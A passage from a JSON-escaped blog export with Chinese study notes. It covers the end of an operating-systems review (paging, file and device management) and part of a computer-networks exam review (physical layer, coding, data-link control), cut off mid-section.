现象。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_131\"\u003e颠簸 / 抖动\u003c/h3\u003e\u003col\u003e\u003cli\u003e页面在内存与外存之间频繁调度,以至于调度页面所需时间比进程实际运行的时间还多,此时系统效率急剧下降,甚至导致系统崩溃。这种现象称为\u003cstrong\u003e颠簸\u003c/strong\u003e或\u003cstrong\u003e抖动\u003c/strong\u003e。\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e原因\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e页面淘汰算法不合理。\u003c/li\u003e\u003cli\u003e分配给进程的物理页面数太少。\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e解决办法\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e给定更合适的页面淘汰算法(不一定奏效)\u003c/li\u003e\u003cli\u003e分配给个更多的物理内存页面(一般会有效果,而且效果较好,但给多了并发度就会降低)\u003c/li\u003e\u003cli\u003e较好的方法是使用工作集机制处理。\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_132\"\u003e工作集\u003c/h3\u003e\u003cul\u003e\u003cli\u003e常驻集:实际给进程\u003cstrong\u003e分配\u003c/strong\u003e的内存页面的集合。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e工作集\u003c/strong\u003e:在某段时间间隔里,进程实际\u003cstrong\u003e要访问\u003c/strong\u003e的页面的集合。\u003c/li\u003e\u003cli\u003e活跃页面:在某段时间间隔里,进程频繁访问的页面。\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"toc_133\"\u003e文件管理\u003c/h2\u003e\u003ch3 id=\"toc_134\"\u003e文件的结构\u003c/h3\u003e\u003ch4 id=\"toc_135\"\u003e逻辑结构\u003c/h4\u003e\u003col\u003e\u003cli\u003e是用户所观察到的文件内容组织形式,它独立于物理存储设备。\u003c/li\u003e\u003cli\u003e\u003cp\u003e分类\u003c/p\u003e\u003col\u003e\u003cli\u003e有结构的文件(关系导向型结构)\u003c/li\u003e\u003cli\u003e无结构的文件(非关系导向型结构)\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch4 id=\"toc_136\"\u003e物理结构\u003c/h4\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e物理存储方式\u003c/p\u003e\u003col\u003e\u003cli\u003e连续存储(顺序结构)\u003c/li\u003e\u003cli\u003e链接结构\u003c/li\u003e\u003cli\u003e索引结构\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e索引表的组织方式\u003c/p\u003e\u003col\u003e\u003cli\u003e链接文件方式:将多个索引表块按链接文件的方式串联起来。\u003c/li\u003e\u003cli\u003e多重索引方式:将一个大文件的所有索引表的地址放在另一个索引表中。(UNIX 三级索引)\u003c/li\u003e\u003cli\u003eHash 文件:采用计算寻址结构,它由主文件和溢出文件组成。\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_137\"\u003e文件的目录\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e文件的目录结构\u003c/p\u003e\u003col\u003e\u003cli\u003e一级目录结构\u003c/li\u003e\u003cli\u003e二级目录结构\u003c/li\u003e\u003cli\u003e多级目录结构(UNIX树形)\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e文件的查找——线性检索法\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_138\"\u003e文件共享\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e硬链接\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e不能链接目录、无法跨文件系统\u003c/li\u003e\u003cli\u003e会增加链接计数\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e软链接\u003c/strong\u003e(符号链接)\u003c/p\u003e\u003cul\u003e\u003cli\u003e可链接目录、可跨文件系统甚至网络\u003c/li\u003e\u003cli\u003e不会增加链接计数\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_139\"\u003e文件的操作\u003c/h3\u003e\u003ch4 id=\"toc_140\"\u003e打开文件机构\u003c/h4\u003e\u003col\u003e\u003cli\u003e内存文件控制块(内存索引节点)\u003c/li\u003e\u003cli\u003e\u003cp\u003e系统打开文件控制块\u003c/p\u003e\u003cul\u003e\u003cli\u003e用于记录所有打开文件的控制信息。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e用户打开文件表\u003c/p\u003e\u003cul\u003e\u003cli\u003e每一个进程可打开多个文件,都有一张打开文件表。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_141\"\u003e外存空间管理\u003c/h3\u003e\u003cp\u003e外存空闲空间管理的数据结构通常称为磁盘分配表(Disk Allocation Table)。\u003c/p\u003e\u003ch4 id=\"toc_142\"\u003e空闲空间管理方法\u003c/h4\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e空闲区表\u003c/p\u003e\u003cul\u003e\u003cli\u003e其缺点是当外存中有大量的空闲区时,空闲区表会变得很大,分配效率降低。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e位示图\u003c/p\u003e\u003cul\u003e\u003cli\u003e大小由磁盘空间的大小(物理块数)决定,位示图的描述能力强,适应各种物理结构。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e空闲块链\u003c/p\u003e\u003cul\u003e\u003cli\u003e释放和分配都从链头处进行,主要问题是要修改几个有关的链接字,需要反复读写磁盘和分配物理块,系统开销大。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e成组链接法(UNIX)\u003c/p\u003e\u003cul\u003e\u003cli\u003e将空闲块分成若干组,每 100 个空闲块为一组。每组的第一个空闲块登记了下一组空闲块的物理盘块号和本组空闲块总数。\u003c/li\u003e\u003cli\u003e专用块,空闲块索引表 filsys\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_143\"\u003e磁盘调度\u003c/h3\u003e\u003ch4 id=\"toc_144\"\u003e移臂调度\u003c/h4\u003e\u003col\u003e\u003cli\u003e先来先服务算法(FCFS, First Come First Served)\u003c/li\u003e\u003cli\u003e\u003cp\u003e最短寻道时间优先算法(SSF, Shortest Seek First)\u003c/p\u003e\u003cul\u003e\u003cli\u003e会发生「饥饿」现象。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e电梯调度算法(SCAN)\u003c/li\u003e\u003c/ol\u003e\u003ch4 id=\"toc_145\"\u003e旋转调度\u003c/h4\u003e\u003cp\u003e优先级:柱面 \u0026gt; 扇区 \u0026gt; 磁头\u003c/p\u003e\u003ch4 id=\"toc_146\"\u003e信息分布\u003c/h4\u003e\u003ch2 id=\"toc_147\"\u003e设备管理\u003c/h2\u003e\u003ch3 id=\"toc_148\"\u003e外设的分类\u003c/h3\u003e\u003ch4 id=\"toc_149\"\u003e按数据组织方式分类\u003c/h4\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e块设备\u003c/strong\u003e:指以数据块为单位来组织和传送数据信息的设备。属于有结构设备。\u003c/p\u003e\u003col\u003e\u003cli\u003e传输速率较高\u003c/li\u003e\u003cli\u003e可寻址\u003c/li\u003e\u003cli\u003e采用 DMA 方式控制\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e字符设备\u003c/strong\u003e:以单个字符为单位来传送数据信息的设备。\u003c/p\u003e\u003col\u003e\u003cli\u003e传输速率较低\u003c/li\u003e\u003cli\u003e不可寻址\u003c/li\u003e\u003cli\u003e常采用中断驱动方式\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch4 id=\"toc_150\"\u003e按数据传输率分类\u003c/h4\u003e\u003col\u003e\u003cli\u003e低速设备(Byte 级别):键盘、鼠标\u003c/li\u003e\u003cli\u003e中速设备(KB 级别):打印机\u003c/li\u003e\u003cli\u003e高速设备(MB 级别):硬盘、磁带、光盘\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_151\"\u003eI/O系统及结构\u003c/h3\u003e\u003ch4 id=\"toc_152\"\u003e结构\u003c/h4\u003e\u003col\u003e\u003cli\u003e单总线结构\u003c/li\u003e\u003cli\u003e多总线结构\u003c/li\u003e\u003cli\u003e通道系统\u003c/li\u003e\u003c/ol\u003e\u003ch4 id=\"toc_153\"\u003e控制方式\u003c/h4\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e程序控制 I/O\u003c/strong\u003e(直接控制方式、可编程I/O模式)\u003c/p\u003e\u003cul\u003e\u003cli\u003e效率低下\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e中断驱动 I/O\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e数据仍然需要通过CPU进行传输,由于CPU每次处理的数据量少,因此这种方式只适于数据传输率较低的设备。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e直接存储访问 I/O\u003c/strong\u003e(DMA, Direct Memory Access)\u003c/p\u003e\u003cul\u003e\u003cli\u003eCPU只需干预I/O操作的开始和结束,而其中的数据读写无需CPU控制,适 于高速设备。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e通道控制方式 I/O\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e一个CPU可以连接若干个通道,一个通道可以连接若干个控制器,一个控制器可以连接若干个设备。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_154\"\u003eI/O 软件\u003c/h3\u003e\u003ch4 id=\"toc_155\"\u003e组成成分\u003c/h4\u003e\u003col\u003e\u003cli\u003eI/O 交通管制程序\u003c/li\u003e\u003cli\u003eI/O 调度程序\u003c/li\u003e\u003cli\u003eI/O 设备处理程序\u003c/li\u003e\u003c/ol\u003e\u003ch4 id=\"toc_156\"\u003e设计目标\u003c/h4\u003e\u003cp\u003e设备独立、统一命名、错误处理、数据传输、缓冲管理、设备共享……\u003c/p\u003e\u003ch4 id=\"toc_157\"\u003e结构\u003c/h4\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e设备驱动程序\u003c/strong\u003e:内核软件模块\u003c/p\u003e\u003cul\u003e\u003cli\u003e向上:接受来自与设备无关的上层软件的抽象请求;\u003c/li\u003e\u003cli\u003e向下:进行与设备相关的操作。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e设备无关系统软件\u003c/strong\u003e:负责实现对所有设备都具有共性的功能,并向上提供一个统一的接口。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e用户空间 I/O 软件\u003c/strong\u003e:具有 I/O 功能但在用户态下运行的软件(函数)或功能模块。\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_158\"\u003e具有通道的设备管理\u003c/h3\u003e\u003col\u003e\u003cli\u003e通道命令(Channel Command Word, CCW):I/O 处理机的指令\u003c/li\u003e\u003cli\u003e通道程序:用通道命令编写的程序\u003c/li\u003e\u003cli\u003e通道地址字(Channel Address Word, CAW):通道程序首地址的内存单元\u003c/li\u003e\u003cli\u003e通道状态字(Channel Status Word, CSW)\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_159\"\u003e缓冲技术\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e设置目的\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e缓解缓冲两端设备(程序)速度的差异\u003c/li\u003e\u003cli\u003e协调数据大小的不一致性\u003c/li\u003e\u003cli\u003e实现应用程序 I/O 的语义拷贝\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e分类\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e单缓冲(single buffer):输出输出速率相差大时可用\u003c/li\u003e\u003cli\u003e双缓冲(double buffer)\u003c/li\u003e\u003cli\u003e环形缓冲\u003c/li\u003e\u003cli\u003e缓冲池(buffer pool):可供多个进程共享的双向缓冲技术。\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e缓冲管理队列\u003c/p\u003e\u003col\u003e\u003cli\u003e自由 buf 队列(FIFO)\u003c/li\u003e\u003cli\u003e设备 buf 队列\u003c/li\u003e\u003cli\u003e\u003cem\u003eNODEV 设备队列\u003c/em\u003e\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e字符设备的缓存管理\u003c/p\u003e\u003cul\u003e\u003cli\u003e解决 CPU 与字符设备间速度不匹配的矛盾\u003c/li\u003e\u003cli\u003e自由字符缓存队列:由空闲的字符缓存构成自由队列。\u003c/li\u003e\u003cli\u003eI/O 字符缓存队列\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_160\"\u003e设备管理数据结构\u003c/h3\u003e\u003col\u003e\u003cli\u003e设备控制表(DCT)\u003c/li\u003e\u003cli\u003e控制器控制表(COCT)\u003c/li\u003e\u003cli\u003e通道控制表(CHCT)\u003c/li\u003e\u003cli\u003e系统设备表(SDT)\u003c/li\u003e\u003c/ol\u003e\n","url":"https://hawa130.com/archives/833/"},{"title":"计网期末预习笔记","time":"2022-06-17T13:21:00Z","content":"概述1. 绪论数据通信的概念及模型五个组成部分:报文、发送方、接收方、传输介质、协议数据流:单工、半双工、全双工连接类型和拓扑结构连接类型:点到点、多点拓扑结构:网状、星型、总线、环状网络分类:...\u003chr /\u003e\n\u003ch2 id=\"toc_161\"\u003e概述\u003c/h2\u003e\u003ch3 id=\"toc_162\"\u003e1. 绪论\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003e数据通信的概念及模型\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e五个组成部分:报文、发送方、接收方、传输介质、协议\u003c/li\u003e\u003cli\u003e数据流:单工、半双工、全双工\u003c/li\u003e\u003cli\u003e\u003cp\u003e连接类型和拓扑结构\u003c/p\u003e\u003col\u003e\u003cli\u003e连接类型:点到点、多点\u003c/li\u003e\u003cli\u003e拓扑结构:网状、星型、总线、环状\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e网络分类:局域网、广域网、城域网\u003c/li\u003e\u003cli\u003e\u003cp\u003e协议和标准\u003c/p\u003e\u003col\u003e\u003cli\u003e语法:格式\u003c/li\u003e\u003cli\u003e语义:解释含义,进行的操作\u003c/li\u003e\u003cli\u003e格式:报文发送的时间、次序\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_163\"\u003e2. 网络模型\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003e层次结构\u003c/strong\u003e、层间接口和封装\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003eOSI 参考模型的概念和各层功能\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003e物理层\u003c/strong\u003e:定义了接口与传输介质的机械和电气特性。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e数据链路层\u003c/strong\u003e:将物理层的数据无差错地传递给网络层。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e网络层\u003c/strong\u003e:将各个分组从源地址传递到目的地址。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e传输层\u003c/strong\u003e:负责一个报文从一个进程到另一个进程的传递。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e会话层\u003c/strong\u003e:对话控制和同步。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e表示层\u003c/strong\u003e:翻译、加密和压缩数据。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e应用层\u003c/strong\u003e:用户提供服务。\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eTCP/IP 协议簇和各层的功能\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e\u003cfigure\u003e\u003cimg class=\"\" alt=\"TCP/IP 协议族\" data-src=\"https://upload.hawa130.com/2022/06/1.png#vwid=570\u0026vhei=392\" src=\"https://upload.hawa130.com/2022/06/1.png#vwid=570\u0026vhei=392\"\u003e\u003cfigcaption\u003eTCP/IP 协议族\u003c/figcaption\u003e\u003c/figure\u003e\u003c/li\u003e\u003cli\u003e物理地址、逻辑地址和端口地址\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"toc_164\"\u003e物理层和介质\u003c/h2\u003e\u003cp\u003e接口与介质的物理特性,位的表示,数据速率,位同步,线路配置,物理拓扑结构,传输方式\u003c/p\u003e\u003ch3 id=\"toc_165\"\u003e3. 物理层\u003c/h3\u003e\u003col\u003e\u003cli\u003e数字信号:基带传输、低通通道、宽带传输的概念\u003c/li\u003e\u003cli\u003e\u003cp\u003e传输减损:衰减、失真、噪声和信噪比的概念\u003c/p\u003e\u003cul\u003e\u003cli\u003e信噪比:$SNR=\\frac{\\text{平均信号功率}}{\\text{平均噪声功率}}$\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e数据速率限制\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e奈奎斯特速率:\u003c/strong\u003e$C=2\\times B\\times \\log_2(L)$(bps)\u003c/p\u003e\u003cul\u003e\u003cli\u003e其中 $B$ 是带宽,$L$ 是信号电平的数量。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e香农容量定理:\u003c/strong\u003e$C=B\\times \\log_2(1+SNR)$(bps)\u003c/li\u003e\u003cli\u003e分贝:${SNR}_\\text{dB}=10\\times \\log_{10}\\frac{P_1}{P_2}$\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e性能:\u003cstrong\u003e带宽、吞吐量\u003c/strong\u003e、延迟、\u003cstrong\u003e传播时间、传输时间\u003c/strong\u003e、排队时间、带宽与延迟的乘积的概念\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_166\"\u003e4. 数字传输\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e线路编码:数据元素、信号元素、数据速率、信号速率、最小带宽、最大数据速率、直流分量、自同步\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e数据速率与信号速率\u003c/strong\u003e:$S=c\\times N\\times \\frac{1}{r}$\u003c/p\u003e\u003cul\u003e\u003cli\u003e其中 $S$ 为信号速率(baud),$N$ 为数据速率(bps),$c$ 为情形因子(一般为 $\\frac{1}{2}$),$r$ 为数据元素和信号元素的比率。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e最小带宽:$B_\\text{min}=c\\times B\\times \\frac{1}{c}$(Hz)\u003c/li\u003e\u003cli\u003e最大数据速率:$N_\\text{max}=\\frac{1}{c}\\times B\\times r$\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e线路编码方案\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003e单极性编码(NRZ)\u003c/strong\u003e:不归零,正电平表示 1,零电平表示 0。\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e极性编码(NRZ-L 和 NRZ-I)\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003eNRZ-L:正负电平分别表示两个不同的二进制数\u003c/li\u003e\u003cli\u003eNRZ-I:有反相表示 1,无反相表示 0。\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e归零码(RZ)\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e低-零电平表示 0,高-零电平表示 1。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e双相码(Manchester 和 Differential Manchester)\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e曼彻斯特编码:下降表示 0,上升表示 1。\u003c/li\u003e\u003cli\u003e差分曼彻斯特编码:(曼彻斯特 + NRZ-I)反相表示下一位是 0,无反相表示下一位是 1。\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e双极性编码(AMI 和伪三进制码)\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003eAMI:零电平表示 0,交替的正负电平表示 1。\u003c/li\u003e\u003cli\u003e伪三进制码:零电平表示 1,交替的正负电平表示 0。\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e多电平编码(mBnL,2B1Q、8B6T、MLT-3)\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e块编码:4B/5B、8B10B\u003c/li\u003e\u003cli\u003e扰码:B8ZS 和 HDB3\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e脉码调制 PCM:采样、量化等级、量化误差\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e采样率\u003c/strong\u003e:$f_s=\\frac{1}{T_s}$\u003c/p\u003e\u003cul\u003e\u003cli\u003e其中 $f_s$ 是采样率,$T_s$ 是采样间隔。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e$f_s=2f$,其中 $f$ 是奈奎斯特速率,此时能够最低成本达到最好的采样效果。\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e量化等级\u003c/strong\u003e:$n_b=\\log_2 L$\u003c/p\u003e\u003cul\u003e\u003cli\u003e其中 $L$ 为量化等级数,$n_b$ 为编码位数。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e量化误差\u003c/strong\u003e:$SNR_\\text{dB}=6.02n_b+1.76\\text{ dB}$\u003c/li\u003e\u003cli\u003e最大带宽:$N=f_s\\times n_b=2\\times B\\times \\log_2 L \\text{ bps}$\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003eDelta调制的概念\u003c/li\u003e\u003cli\u003e传输模式:异步传输、同步传输、并行传输、串行传输的概念\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_167\"\u003e5. 模拟传输\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e比特率和波特率\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e比特率是每秒发送的位数, 波特率是每秒发送的信号元素数。 在数字数据模拟传输中, 波特率小于等于比特率。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e$$S=N\\times \\frac{1}{r} \\text{波特}$$\u003c/p\u003e\u003cul\u003e\u003cli\u003e其中 $N$ 是数据速率(bps),$r$ 是一个信号元素携带的数据个数。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e数字到模拟转换\u003c/p\u003e\u003col\u003e\u003cli\u003eASK 的概念及 ASK 的带宽\u003c/li\u003e\u003cli\u003eFSK 的概念及 BFSK 的带宽\u003c/li\u003e\u003cli\u003ePSK、BPSK、QPSK 和 QAM 的概念\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e模拟信号调制\u003c/p\u003e\u003col\u003e\u003cli\u003eAM、FM 和 PM 的概念\u003c/li\u003e\u003cli\u003eAM 带宽、FM 带宽和 PM 带宽\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_168\"\u003e6. 带宽利用\u003c/h3\u003e\u003col\u003e\u003cli\u003e复用:FDM(频分复用)、同步 TDM、统计 TDM 和 WDM(波分复用)的概念\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e数字层次、T1 载波、E1 载波\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e电话公司通过一种数字信号的层次结构实现 TDM ,称为数字信号或\u003cstrong\u003e数字层次结构\u003c/strong\u003e。\u003c/li\u003e\u003cli\u003eT1:速率 1.544 Mbps,语音通道:24\u003c/li\u003e\u003cli\u003eE1:速率 2.048 Mbps,语音通道:30\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e波分和码分的概念\u003c/li\u003e\u003cli\u003e扩频:FHSS 和 DSSS 的概念\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_169\"\u003e7. 传输介质\u003c/h3\u003e\u003col\u003e\u003cli\u003e导向介质:双绞线、同轴电缆和光纤的概念\u003c/li\u003e\u003cli\u003e无线传输介质:无线波普、无线电波、微波和红外波\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_170\"\u003e8. 交换\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e电路交换的概念\u003c/p\u003e\u003cul\u003e\u003cli\u003e电路交换网是由物理链路连接一组交换机组成,每条链路划分成 n 个通道。电路交换在物理层进行。在电路交换中,建立阶段期间必须预留资源,整个数据传输期间资源保留专用直到拆除阶段。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e数据包交换的概念\u003c/p\u003e\u003cul\u003e\u003cli\u003e在数据报网络中,每个分组独立处理与其他分组无关。这个方法的分组称为数据报。没有建立阶段和拆除阶段。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e虚电路交换的概念\u003c/p\u003e\u003cul\u003e\u003cli\u003e虚电路网络是结合电路交换网络与数据报网的产物。它具有两者一些特性。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e三种交换的优缺点\u003c/strong\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"toc_171\"\u003e数据链路层\u003c/h2\u003e\u003cp\u003e成帧,物理寻址,流量控制,差错控制,访问控制\u003c/p\u003e\u003ch3 id=\"toc_172\"\u003e10. 检错与纠错\u003c/h3\u003e\u003col\u003e\u003cli\u003e差错的类型\u003c/li\u003e\u003cli\u003e块编码\u003c/li\u003e\u003cli\u003e差错检测的方法\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e纠错的概念与方法:汉明距离、最小汉明距离、检错和纠错的最小汉明距离\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e检错最小汉明距离:$d_\\text{min}=s+1$\u003c/li\u003e\u003cli\u003e纠错最小汉明距离:$d_\\text{min}=2t+1$\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e线性块编码:线性块编码的距离、简单奇偶校验编码、两维奇偶校验编码、汉明码\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e循环冗余编码 CRC(不包含硬件实现)(注意除数的长度)\u003c/strong\u003e、CRC的检错能力分析(检测单个位差错、两个独立的位差错、奇数个差错、突发性差错)\u003c/li\u003e\u003cli\u003e校验和及其计算方法\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_173\"\u003e11. 数据链路控制\u003c/h3\u003e\u003col\u003e\u003cli\u003e组帧\u003c/li\u003e\u003cli\u003e\u003cp\u003e流量控制和差错控制的概念\u003c/p\u003e\u003col\u003e\u003cli\u003e流量控制:是一系列程序,用来限制发送方在等到确认之前发送的数据数量。\u003c/li\u003e\u003cli\u003e差错控制:使得接收方能够提示发送方在传输过程中有帧的丢失或破坏, 井协调发送方重新传输这些帧 。\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e停止等待 ARQ\u003c/strong\u003e、\u003cstrong\u003e后退 N 帧 ARQ\u003c/strong\u003e 和\u003cstrong\u003e选择重发 ARQ\u003c/strong\u003e、\u003cstrong\u003e窗口\u003c/strong\u003e、\u003cstrong\u003e最大链路利用率\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e滑动窗口:大小必须 $\u0026lt; 2^m$,其中 $m$ 是序列号的位数。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e最大链路利用率\u003c/strong\u003e(一般忽略 ACK 传输时间)\u003cbr\u003e$$\\eta=\\frac{T_\\text{传输}}{T_\\text{传输}+T_\\text{传播}+T_\\text{ACK传输}}$$\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_174\"\u003e12. 多路访问\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e随机访问:纯 ALOHA、时隙 ALOHA、\u003cstrong\u003eCSMA\u003c/strong\u003e、\u003cstrong\u003eCSMA/CD\u003c/strong\u003e、CSMA/CA。\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e纯 ALOHA\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e脆弱时间:$2\\times T_\\text{fr}$\u003c/p\u003e\u003cul\u003e\u003cli\u003e其中 $T_\\text{fr}$ 